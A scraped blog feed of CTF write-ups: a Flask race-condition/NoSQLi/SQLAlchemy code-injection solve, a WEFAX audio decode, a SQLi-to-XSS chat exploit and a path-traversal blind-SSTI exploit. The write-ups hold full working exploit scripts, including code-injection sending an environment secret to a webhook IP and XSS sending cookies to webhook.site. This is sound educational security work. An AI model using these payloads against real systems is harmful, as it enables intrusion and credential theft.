@app.route(&quot;/login&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def login():
    error = None
    if request.method == &quot;POST&quot;:
        username = request.form.get(&quot;username&quot;, &quot;&quot;).strip()
        password = request.form.get(&quot;password&quot;, &quot;&quot;).strip()
        if not re.fullmatch(r&apos;^[\w@#$%^&amp;amp;+=!]{1,64}$&apos;, password):
            error = &quot;Invalid password format.&quot;
        else:
            user = mongo_users.find_one({&quot;username&quot;: username, &quot;password&quot;: password})
            if user:
                session[&quot;email&quot;] = user[&quot;email&quot;]
                log_audit_event(username, &quot;login_success&quot;)
                return redirect(&quot;/&quot;)
            log_audit_event(username, &quot;login_failure&quot;)
            error = &quot;Invalid credentials.&quot;
    return render_template(&quot;login.html&quot;, error=error)

# Allow users to change their email address
@app.route(&quot;/&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def me():
    if &quot;email&quot; not in session:
        return redirect(&quot;/login&quot;)
    current_email = session[&quot;email&quot;]
    message = None
    if request.method == &quot;POST&quot;:
        # Validate email
        new_email = request.get_json().get(&quot;new_email&quot;) if request.is_json else request.form.get(&quot;new_email&quot;)
        if mongo_users.find_one({&quot;email&quot;: {&quot;$eq&quot;: new_email}}):
            message = &quot;That email is already in use.&quot;
        else:
            # Update email address
            result = mongo_users.update_one({&quot;email&quot;: current_email}, {&quot;$set&quot;: {&quot;email&quot;: new_email}})
            if result.modified_count == 1:
                session[&quot;email&quot;] = new_email
                message = &quot;Email updated successfully&quot;
            else:
                message = &quot;Failed to update email.&quot;
    return render_template(&quot;me.html&quot;, email=session[&quot;email&quot;], message=message)

# Administrators can view the audit logs
@app.route(&quot;/audit_logs&quot;, methods=[&quot;GET&quot;])
def audit_logs():
    if &quot;email&quot; not in session:
        return redirect(&quot;/login&quot;)
    user = mongo_users.find_one({&quot;email&quot;: session[&quot;email&quot;]})
    if not user or user.get(&quot;username&quot;) != &quot;admin&quot;:
        return &quot;Access denied&quot;, 403
    order_by = request.args.get(&quot;order_by&quot;, &quot;timestamp&quot;)
    if not any(order_by.startswith(col) for col in [&apos;username&apos;, &apos;action&apos;, &apos;timestamp&apos;]):
        order_by = &quot;timestamp&quot;
    SearchBase.logs = relationship(&quot;AuditLog&quot;, order_by=f&apos;AuditLog.{order_by}&apos;)
    db = SessionLocal()
    bases = db.query(SearchBase).all()
    logs = [log for base in bases for log in base.logs]
    db.close()
    return render_template(&quot;audit_logs.html&quot;, logs=logs)

# Users can request a new password
@app.route(&quot;/reset_request&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def reset_request():
    message = None
    if request.method == &quot;POST&quot;:
        # Validate username
        username = request.form.get(&quot;username&quot;, &quot;&quot;).strip()
        if not username:
            message = &quot;Username is required.&quot;
        elif not username.isalnum():
            message = &quot;Invalid username&quot;
        elif &apos;admin&apos; in username.lower():
            message = &quot;Reset not allowed for admin&quot;
        # Get user
        elif (user := mongo_users.find_one({&quot;username&quot;: username})):
            conn = get_db()
            cursor = conn.cursor()
            try:
                # Remove all old entries
                cursor.execute(&quot;DELETE FROM reset_tokens WHERE username = %s&quot;, (username,))
                conn.commit()
                # Create new entry
                cursor.execute(&quot;INSERT INTO reset_tokens (username) VALUES (%s)&quot;, (username,))
                conn.commit()
                # Set new token
                cursor.execute(&quot;UPDATE reset_tokens SET token = %s WHERE username = %s&quot;, (get_random_token(), username))
                conn.commit()
                message = &quot;Reset email sent.&quot; # Backend job sends the reset email
            except:
                message = &quot;Unhandled failure.&quot;
            finally:
                cursor.close()
        else:
            message = &quot;User not found.&quot;
        return render_template(&quot;result.html&quot;, message=message)
    return render_template(&quot;reset_request.html&quot;)

# Users can set a new password with a valid reset token
@app.route(&quot;/reset&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def reset():
    message = None
    if request.method == &quot;POST&quot;:
        # Validate password and token
        token = request.form.get(&quot;token&quot;, &quot;&quot;)
        new_password = request.form.get(&quot;new_password&quot;, &quot;&quot;)
        if not re.fullmatch(r&apos;^[\w@#$%^&amp;amp;+=!]{6,64}$&apos;, new_password):
            message = &quot;Invalid password format.&quot;
        elif not token or len(token) &amp;lt; 16:
            message = &quot;Invalid token format.&quot;
        else:
            # Get user for token
            conn = get_db()
            cursor = conn.cursor(dictionary=True)
            cursor.execute(&quot;SELECT * FROM reset_tokens WHERE token = %s&quot;, (token,))
            row = cursor.fetchone()
            cursor.close()
            if row:
                # Reset user password
                username = row[&quot;username&quot;].strip()
                mongo_users.update_one({&quot;username&quot;: username}, {&quot;$set&quot;: {&quot;password&quot;: new_password}})
                cursor = conn.cursor()
                cursor.execute(&quot;DELETE FROM reset_tokens WHERE username = %s&quot;, (username,))
                conn.commit()
                cursor.close()
                message = f&quot;Password updated&quot;
            else:
                message = &quot;Invalid token.&quot;
        return render_template(&quot;result.html&quot;, message=message)
    return render_template(&quot;reset.html&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have some cool endpoints:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt;: Main route a route to change your email address while logged in.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/login&lt;/code&gt;: Pretty clear.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/audit_logs&lt;/code&gt;: An admin endpoint to view all audit logs.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/reset_request&lt;/code&gt;: Reset password request by username.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/reset&lt;/code&gt;: Resets the password using the username and token.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I think it&apos;s pretty straightforward, don&apos;t you?&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The first step is to search for the &lt;em&gt;flag&lt;/em&gt; position. In this case, it is in an &lt;code&gt;env variable&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  web:
    build: .
    ports:
      - &quot;5000:5000&quot;
    depends_on:
      - mongo
      - mysql
    environment:
      - FLASK_ENV=production
      - FLAG=wwf{not_the_flag}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Okay, so the goal is to get RCE. The first thing to do is to check for SSTI, but that&apos;s not the case here.&lt;/p&gt;
&lt;p&gt;Now, the most difficult part is checking all the code. The most suspicious things are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;NoSQL injection in the reset email form.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;new_email = request.get_json().get(&quot;new_email&quot;) if request.is_json else request.form.get(&quot;new_email&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The line is bad because if we pass the header JSON, it passes all the objects, not just a string.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It&apos;s a sort of code injection in the SQLAlchemy function in the audit logs endpoint.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;    if not any(order_by.startswith(col) for col in [&apos;username&apos;, &apos;action&apos;, &apos;timestamp&apos;]):
        order_by = &quot;timestamp&quot;
    SearchBase.logs = relationship(&quot;AuditLog&quot;, order_by=f&apos;AuditLog.{order_by}&apos;) # Not very good
    db = SessionLocal()
    bases = db.query(SearchBase).all()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Okay, nice. We have a code injection. Is that all? No, because to get access to the endpoint, we have to become an admin. We don&apos;t have a login for the user account, so it&apos;s pretty useless.&lt;/p&gt;
&lt;p&gt;After much trial and error, I discovered a cool race condition between the &lt;code&gt;/reset_request&lt;/code&gt; and &lt;code&gt;/reset&lt;/code&gt; endpoints.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Users can request a new password
@app.route(&quot;/reset_request&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def reset_request():
    message = None
    if request.method == &quot;POST&quot;:
        # Validate username
        username = request.form.get(&quot;username&quot;, &quot;&quot;).strip()
        if not username:
            message = &quot;Username is required.&quot;
        elif not username.isalnum():
            message = &quot;Invalid username&quot;
        elif &apos;admin&apos; in username.lower():
            message = &quot;Reset not allowed for admin&quot;
        # Get user
        elif (user := mongo_users.find_one({&quot;username&quot;: username})):
            conn = get_db()
            cursor = conn.cursor()
            try:
                # Remove all old entries
                cursor.execute(&quot;DELETE FROM reset_tokens WHERE username = %s&quot;, (username,))
                conn.commit()
                # Create new entry
                cursor.execute(&quot;INSERT INTO reset_tokens (username) VALUES (%s)&quot;, (username,))
                conn.commit()
                # Set new token
                cursor.execute(&quot;UPDATE reset_tokens SET token = %s WHERE username = %s&quot;, (get_random_token(), username))
                conn.commit()
                message = &quot;Reset email sent.&quot; # Backend job sends the reset email
            except:
                message = &quot;Unhandled failure.&quot;
            finally:
                cursor.close()
        else:
            message = &quot;User not found.&quot;
        return render_template(&quot;result.html&quot;, message=message)
    return render_template(&quot;reset_request.html&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When we make a reset request, the server makes three different commits, one for each query. In this case, it&apos;s very bad because there&apos;s a moment when the token is equal to an empty string. Especially, the database is set to &lt;code&gt;CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci&lt;/code&gt;, so spaces are trimmed from the query.&lt;/p&gt;
&lt;p&gt;We can basically make a &lt;code&gt;/reset&lt;/code&gt; request and, at the same time, make a &lt;code&gt;/reset_request&lt;/code&gt;. This allows us to change the password of ONLY the user (because the admin is blocked) and log in.&lt;/p&gt;
&lt;p&gt;Okay, but how can we log in as an admin? Easy. Remember the NoSQLi we can use to bypass the admin check in the &lt;code&gt;/audit_logs&lt;/code&gt; endpoint with a basic logic injection: &lt;code&gt;{ &quot;$gt&quot;: &quot;&quot;}&lt;/code&gt; (This is a possible payload.) We can inject the payload thanks to the email change.&lt;/p&gt;
&lt;p&gt;Now, if we try to make a GET request to &lt;code&gt;/audit_logs&lt;/code&gt;, we have access, and we can make the code injections.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py
#!/usr/bin/python3
import random
import string
import threading
import urllib.parse
import requests

BASE_URL = &quot;https://{instance_id}.chall.wwctf.com&quot;
WEBHOOK_URL = &quot;http://178.63.67.153/eb3102da-b96c-48b5-92c9-d59301574330/&quot;

s = requests.Session()


payload_spaces = &quot; &quot; * 32
token_field   = urllib.parse.quote_plus(payload_spaces)
new_pass      = &quot;cookie&quot;

def spam_reset_request():
    while True:
        s.post(f&quot;{BASE_URL}/reset_request&quot;,
                      data={&quot;username&quot;: &quot;user&quot;},
                      timeout=3)

def race_reset():
    while True:
        data = {&quot;token&quot;: payload_spaces, &quot;new_password&quot;: new_pass}
        r = s.post(f&quot;{BASE_URL}/reset&quot;, data=data, timeout=3)
        if &quot;Password updated&quot; in r.text:
            print(&quot;[+] Race WON!&quot;)
            break

def login():
    data = {&quot;username&quot;: &quot;user&quot;, &quot;password&quot;: new_pass}
    r = s.post(f&quot;{BASE_URL}/login&quot;, data=data)
    if &quot;New Email&quot; in r.text:
        print(&quot;[+] Logged in successfully!&quot;)
    else:
        print(&quot;[-] Failed to log in.&quot;)

def update_email():
    data = {&quot;new_email&quot;:  { &quot;$gt&quot;: &quot;&quot; }}
    r = s.post(f&quot;{BASE_URL}&quot;, json=data)
    if &quot;Email updated successfully&quot; in r.text:
        print(&quot;[+] Email updated successfully!&quot;)
    else:
        print(&quot;[-] Failed to update email.&quot;)


def audit_logs():
    payload = f&quot;(__import__(&apos;urllib.request&apos;, fromlist=[&apos;urlopen&apos;]).urlopen(&apos;{WEBHOOK_URL}?f=&apos;+(__import__(&apos;os&apos;).getenv(&apos;FLAG&apos;,&apos;NF&apos;))))&quot;
    r = s.get(f&quot;{BASE_URL}/audit_logs&quot;,params={&quot;order_by&quot;: f&quot;timestamp.desc(),{payload}&quot;})
    if &quot;Access denied&quot; in r.text:
        print(&quot;[-] Access denied to audit logs.&quot;)
    else:
        print(&quot;[+] Audit logs accessed successfully!&quot;)
        print(r.text)

def main():
    threading.Thread(target=spam_reset_request, daemon=True).start()
    race_reset()
    login()
    update_email()
    audit_logs()



if __name__ == &quot;__main__&quot;:
	main()


# goodluck by @akiidjk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[wwf{Ju57_G1v3_mE_S0m3_5p4ce}]&lt;/p&gt;
</content:encoded></item><item><title>L3akctf 2025 | Beneath the Surface</title><link>https://bytethecookies.org/posts/l3akctf2025-beneath-the-surface/</link><guid isPermaLink="true">https://bytethecookies.org/posts/l3akctf2025-beneath-the-surface/</guid><description>On the surface, this signal is nothing but meaningless noise — a mere whisper of the wind. But dive deeper into this transmission, and a storm begins to take shape, with gray skies gathering on the horizon. Can you navigate through the static and uncover what lurks beneath the surface of the wav — before it’s too late?</description><pubDate>Sun, 13 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;File&lt;/h2&gt;
&lt;p&gt;&amp;lt;audio controls&amp;gt;
&amp;lt;source src=&quot;/audio/beneath_the_surface/beneath_the_surface.wav&quot; type=&quot;audio/wav&quot;&amp;gt;
Your browser does not support the audio element.
&amp;lt;/audio&amp;gt;
&amp;lt;a href=&quot;/audio/beneath_the_surface/beneath_the_surface.wav&quot; download&amp;gt;Download&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;exiftool beneath_the_surface.wav
ExifTool Version Number         : 13.30
File Name                       : beneath_the_surface.wav
Directory                       : .
File Size                       : 6.3 MB
File Modification Date/Time     : 2025:07:13 12:40:18+02:00
File Access Date/Time           : 2025:07:13 12:40:19+02:00
File Inode Change Date/Time     : 2025:07:13 12:40:18+02:00
File Permissions                : -rw-r--r--
File Type                       : WAV
File Type Extension             : wav
MIME Type                       : audio/x-wav
Encoding                        : Microsoft PCM
Num Channels                    : 1
Sample Rate                     : 8000
Avg Bytes Per Sec               : 16000
Bits Per Sample                 : 16
Title                           : Generated audio
Software                        : fldigi-4.2.07 (libsndfile-1.0.28)
Comment                         : WEFAX576 freq=14011.900
Date Created                    : 2025:07:11T10:21:36z
Duration                        : 0:06:35
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;Software&lt;/code&gt; and &lt;code&gt;Comment&lt;/code&gt; fields are useful, these indicate that the audio file was generated by &lt;code&gt;fldigi&lt;/code&gt; which contains a &lt;a href=&quot;https://en.wikipedia.org/wiki/Radiofax#Weatherfax&quot;&gt;WEFAX&lt;/a&gt; (Weather Facsimile) image, transmitted at 576 lines at a frequenct of 14011.900 kHz.
So, I install &lt;code&gt;fldigi&lt;/code&gt; with &lt;code&gt;yay -S fldigi&lt;/code&gt; (I use Arch, btw). Open the program and go to &lt;code&gt;Op mode&lt;/code&gt; -&amp;gt; &lt;code&gt;WEFAX&lt;/code&gt; -&amp;gt; &lt;code&gt;WEFAX576&lt;/code&gt;, and then, on the main window, set the frequency to 14011.9 kHz. Now, upload the file on &lt;code&gt;File&lt;/code&gt; -&amp;gt; &lt;code&gt;Audio&lt;/code&gt; -&amp;gt; &lt;code&gt;Reproduction&lt;/code&gt;.
Please be patient and wait for the program to decode the entire audio and get the flag.&lt;/p&gt;
&lt;p&gt;&amp;lt;div style=&quot;display:flex; height:50vh&quot;&amp;gt;
&amp;lt;img alt=&quot;wefax-decoded&quot; style=&quot;margin:0px&quot; src=&quot;/images/beneath_the_surface/wefax.png&quot;&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;flag: :spoiler[L3AK{R4diOF4X_1S_G00d_4_ImAG3_Tr4nsM1sSiON}]&lt;/p&gt;
</content:encoded></item><item><title>CornCTF2025 | Simple Chat</title><link>https://bytethecookies.org/posts/cornctf2025-simple-chat/</link><guid isPermaLink="true">https://bytethecookies.org/posts/cornctf2025-simple-chat/</guid><description>Simple web application to chat with your friends! Sometimes it does funny things and it&apos;s ok like that</description><pubDate>Tue, 08 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It&apos;s a simple XSS with a twist.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;Let&apos;s look at two parts of the &lt;strong&gt;FUNDAMENTAL&lt;/strong&gt; code&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// filename: app.js

app.post(&apos;/api/v1/insertChat&apos;, async (req, res) =&amp;gt; {
  const sender = req.body.sender;
  const receiver = req.body.receiver;
  var message = req.body.message;

  if (!FRIENDS.includes(sender) &amp;amp;&amp;amp; sender !== &apos;admin&apos; &amp;amp;&amp;amp; sender !== &apos;kekw&apos;) {
    res.json({ &apos;status&apos;: &quot;you can&apos;t write messages on behalf of other people.&quot; })
    return
  }

  if (!FRIENDS.includes(receiver) &amp;amp;&amp;amp; receiver !== &apos;admin&apos; &amp;amp;&amp;amp; receiver !== &apos;kekw&apos;) {
    res.json({ &apos;status&apos;: &quot;you can&apos;t write to nobody&quot; })
    return;
  }

  //no XSS
  message = message.replaceAll(&apos;&amp;lt;&apos;, &apos;&amp;amp;lt;&apos;);
  message = message.replaceAll(&apos;&amp;gt;&apos;, &apos;&amp;amp;gt;&apos;);

  const result = await db.insertChat(sender, receiver, message);
  if (result != 0) {
    res.json({ &apos;status&apos;: &quot;Couldn&apos;t insert the chat.&quot; });
    return;
  }
  const response = { &apos;status&apos;: &apos;Success&apos; };
  res.json(response);
})

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the above script, we see that several checks are made for the sender and receiver when messages are inserted into chats. Most importantly, we see that the characters &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; are replaced with &lt;code&gt;&amp;amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;amp;gt;&lt;/code&gt;, respectively, so that we cannot insert XSS directly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// filename: db.js

async insertChat(sender, receiver, message) {
  try {
    const query = `INSERT INTO chat(sender,receiver,message) VALUES (&apos;${sender}&apos;,&apos;${receiver}&apos;,&apos;${message}&apos;);`;
    await this.client.query(query);
  } catch (e) {
    console.log(`Error: ${e}`)
    return 1;
  }
  return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Upon analyzing the DB calls, we see that a direct query insert is made. Therefore, we can exploit an SQLi to bypass the replace check. There are also SQLi&apos;s in every db query, so we can do whatever we want, like logging in as an admin, but that wasn&apos;t really necessary.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/python3
import random
import string

import requests

BASE_URL = &quot;http://localhost&quot;
# BASE_URL = &quot;https://simple-chat-b6eb1bef.challs.cornc.tf&quot;
URL_HOOK = &quot;https://webhook.site/1911a3b8-9c48-468c-a2aa-05e81cb1df93&quot;

s = requests.Session()

def string_generator(length):
    return &apos;&apos;.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))

def getMessages(friend):
    r = s.get(BASE_URL + &quot;/api/v1/fetchMessages&quot;, params={&quot;friend[]&quot;: friend})
    if r.status_code != 200:
        print(&quot;Error getting messages&quot;)
        return None
    return r.json()

def getProfile():
    r = s.get(BASE_URL + &quot;/api/v1/profile&quot;)
    if r.status_code != 200:
        print(&quot;Error getting profile&quot;)
        return None
    return r.json()

def login(username,password):
    r = s.post(BASE_URL + &quot;/api/v1/login&quot;, json={&quot;username&quot;: username, &quot;password&quot;: password},headers={&quot;Origin&quot;:&quot;http://localhost&quot;})
    if r.status_code != 200:
        print(&quot;Error login&quot;)
        return None
    return r.json()

def insertChat(sender,receiver,message):
    r = s.post(BASE_URL + &quot;/api/v1/insertChat&quot;, json={&quot;sender&quot;: sender, &quot;receiver&quot;: receiver, &quot;message&quot;: message})
    if r.status_code != 200:
        print(&quot;Error inserting chat&quot;)
        return None
    return r.json()

def build_payload_xss(sender, target_user, xss_url):
    js_payload = f&quot;&quot;&quot;img src=&quot;a&quot; onerror=&quot;fetch(&apos;{URL_HOOK}?q=&apos;+document.cookie)&quot;);&quot;&quot;&quot;
    sql_payload = &quot;chr(60)||&apos;&quot; + js_payload.replace(&quot;&apos;&quot;, &quot;&apos;&apos;&quot;) + &quot;&apos;||chr(62)&quot;
    injected_query = f&quot;&quot;&quot;aaa&apos;); INSERT INTO chat(sender, receiver, message) VALUES (&apos;{target_user}&apos;,&apos;admin&apos;,{sql_payload});-- &quot;&quot;&quot;
    return injected_query

def ping():
    r = s.get(BASE_URL + &quot;/ping&quot;,params={&quot;friend&quot;:&quot;Val&quot;})
    if r.status_code != 200:
        print(&quot;Error pinging&quot;)
        return None
    return r.json()

def main():
    login(&quot;kekw&quot;, &quot;kekw&quot;)
    print(s.cookies[&quot;connect.sid&quot;])
    print(getMessages(&quot;Val&quot;))
    print(getProfile())
    print(insertChat(&quot;kekw&quot;, &quot;Val&quot;, &quot;aaa&apos;); UPDATE users SET password=&apos;cookie&apos; WHERE username=&apos;Val&apos;; --&quot;))
    print(insertChat(&quot;kekw&quot;, &quot;Val&quot;, build_payload_xss(&quot;kekw&quot;, &quot;Val&quot;, URL_HOOK)))
    print(ping())

    # Wait for the XSS to trigger and send the cookie to the webhook


if __name__ == &quot;__main__&quot;:
	main()


# goodluck by @akiidjk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[corn{d0ubl3_uns4n1t1z4tion_d4mnnnn_f45a85f9d6346d8b}]&lt;/p&gt;
</content:encoded></item><item><title>Ulisse2025 | Telemetry</title><link>https://bytethecookies.org/posts/ulisse2025-telemetry/</link><guid isPermaLink="true">https://bytethecookies.org/posts/ulisse2025-telemetry/</guid><description>Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won&apos;t find the hidden flag... Will you prove him wrong? 🏠🔍</description><pubDate>Tue, 08 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;The application is a simple Flask app with 0 css (we almost like it).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We have 3 main pages:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;index.html
&lt;img src=&quot;/images/telemetry/image1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;li&gt;check.html
&lt;img src=&quot;/images/telemetry/image2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;li&gt;upload.html
&lt;img src=&quot;/images/telemetry/image3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The thing that stands out is the way the logs are stored, in fact we see that a folder and a file are created for each individual user where the logs are stored, the challenge also refers to the logs so there is likely a related vulnerability, and finally it gives us the ability to run one of the rendered templates that we have in the templates folder, which &lt;em&gt;NORMALLY&lt;/em&gt; are just the three html files listed above.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: app.py

@app.route(&apos;/login&apos;, methods=[&apos;POST&apos;])
def login():
    username = request.form[&apos;user&apos;]
    log_file = request.form[&apos;log&apos;]

    if len(log_file) != 32:
        flash(&apos;Invalid log filename length&apos;, &apos;danger&apos;)
        return redirect(&apos;/&apos;)

    user_id = str(uuid.UUID(log_file))
    log_file = user_id + &apos;.txt&apos;

    if os.path.exists(os.path.join(&apos;logs&apos;, username, log_file)):
        flash(&apos;User/Log already exists&apos;, &apos;danger&apos;)
        return redirect(&apos;/&apos;)

    session[&apos;user&apos;] = (user_id, username)
    session[&apos;files&apos;] = MAX_FILES

    os.makedirs(os.path.join(&apos;logs&apos;, username), exist_ok=True)
    with open(os.path.join(&apos;logs&apos;, username, log_file), &apos;w&apos;) as f:
        f.write(f&apos;[{time.time()}] - Log file: {user_id}.txt\n&apos;)
        f.write(f&apos;[{time.time()}] - User logged in\n&apos;)

    return redirect(&apos;/upload&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To begin the analysis, let us first understand how the login takes place...&lt;/p&gt;
&lt;p&gt;We see that the username and the log_file name are taken from the form, the length of the log_file is checked, which must be 32 (number of UUIDv4 characters excluding the &quot;-&quot;), the log file is created, everything is entered into the session, and finally the logs are written to the file The things that stand out are 2 - The username is not sanitized - The username is used in the creation of the path, which is created insecurely&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: app.py
@app.route(&apos;/check&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def check():
    if request.method == &apos;GET&apos;:
        return render_template(&apos;check.html&apos;)

    template = secure_filename(request.form[&apos;template&apos;])
    if not os.path.exists(os.path.join(&apos;templates&apos;, template)):
        flash(&apos;Template not found&apos;, &apos;danger&apos;)
        return redirect(&apos;/check&apos;)
    try:
        render_template(template)
        flash(&apos;Template rendered successfully&apos;, &apos;success&apos;)
    except:
        flash(&apos;Error rendering template&apos;, &apos;danger&apos;)
    return redirect(&apos;/check&apos;)

@app.errorhandler(404)
def page_not_found(e):
    if user := session.get(&apos;user&apos;, None):
        if not os.path.exists(os.path.join(&apos;logs&apos;, user[1], user[0] + &apos;.txt&apos;)):
            session.clear()
            return &apos;Page not found&apos;, 404
        with open(os.path.join(&apos;logs&apos;, user[1], user[0] + &apos;.txt&apos;), &apos;a&apos;) as f:
            f.write(f&apos;[{time.time()}] - Error at page: {unquote(request.url)}\n&apos;)
        return redirect(&apos;/&apos;)
    return &apos;Page not found&apos;, 404
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let us look at two more basic elements, the check function and this 404 handler The check function has nothing wrong or broken, so we don&apos;t care so much, the only interesting thing we see is that the template that is rendered is not returned, so we won&apos;t be able to see the output easily Instead an interesting thing we see is this 404 handler that logs the file when it is called and also writes the path we entered and that triggered it.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;Well, the solution is really interesting because the main vulnerability is that we can give the user any name and that name is not sanitized THEN... we can give our user the name &lt;code&gt;../templates&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It may seem trivial, but this allows us to render our log file as a template... Next problem: how do we write arbitrary templates to the log file?&lt;/p&gt;
&lt;p&gt;VERY SIMPLY via the 404 handler, which allows us to write whatever we want in the /endpoint that is returned in the file Well then, we just need to make a request to &lt;code&gt;http://HOST/{config[&quot;FLAG&quot;]}&lt;/code&gt; and get the flag, right?&lt;/p&gt;
&lt;p&gt;Well no, remember that unfortunately the output is not returned when rendering the template... Well, just send the output somewhere or run a shell? Well, neither, because unfortunately there is a very robust sandbox that doesn&apos;t allow us to do almost anything.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: file.py

class JinjaEnvironment(SandboxedEnvironment):
    # Simply wraps jinja&apos;s sandboxed environment so that it can be used with flask
    def __init__(self, app: Flask, **options) -&amp;gt; None:
        if &quot;loader&quot; not in options:
            options[&quot;loader&quot;] = app.create_global_jinja_loader()
        SandboxedEnvironment.__init__(self, **options)
        self.app = app

app.jinja_environment = JinjaEnvironment
Session(app)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So how do we leak the value?&lt;/p&gt;
&lt;p&gt;Well we can take inspiration from blind error based SQLi in this case and our script would look something like this&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#filename: exploit.py
import random
import string
import os
import requests
import uuid

# BASE_URL = &quot;http://telemetry.challs.ulisse.ovh:6969/&quot;
BASE_URL = &quot;http://localhost:6969&quot;

s = requests.Session()

def login(username,logfile):
    r = s.post(BASE_URL + &quot;/login&quot;, data={&quot;user&quot;: username,&quot;log&quot;: logfile})
    if r.status_code != 200:
        print(&quot;Login failed&quot;)
        print(&quot;Error:&quot;, r.text)

def trigger404(payload):
    r = s.get(BASE_URL + f&quot;/{payload}&quot;)
    if r.status_code != 200:
        print(&quot;Trigger failed&quot;)
        print(&quot;Error:&quot;, r.text)
        print(&quot;Status Code:&quot;, r.status_code)

def trigger_template_render(user_id):
    data = {&quot;template&quot;: user_id + &quot;.txt&quot;}
    r = s.post(BASE_URL + &quot;/check&quot;, data=data)
    if &quot;green&quot; in r.text:
        return True
    else:
        return False

def restart():
    s.cookies.clear()
    username = &quot;../templates&quot;
    log = os.urandom(16).hex()
    user_id = str(uuid.UUID(log))
    login(username, log)
    return user_id

def exploit():
    alphabet = string.digits + &quot;!_{}&quot; + string.ascii_letters
    flag = &quot;&quot;
    user_id = restart()
    for index in range(len(flag),40):
        print(f&quot;Index: {index}&quot;)
        for letter in alphabet:
            payload = f&quot;{{{{ config[&apos;FLAG&apos;][{index}] if config[&apos;FLAG&apos;][{index}] == &apos;{letter}&apos; else 1/0 }}}}&quot;
            trigger404(payload)
            res = trigger_template_render(user_id)
            if res:
                flag += letter
                print(f&quot;Flag: {flag}&quot;)
                if letter == &quot;}&quot;:
                    print(&quot;Flag found!&quot;)
                    return
                user_id = restart()
                break
            else:
                user_id = restart()
                continue

    print(f&quot;Flag: {flag}&quot;)

def main():
    exploit()

if __name__ == &quot;__main__&quot;:
	main()


# goodluck by @akiidjk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[UlisseCTF{n3x7_T1m3_st1ck_t0_your_l0g5!}]&lt;/p&gt;
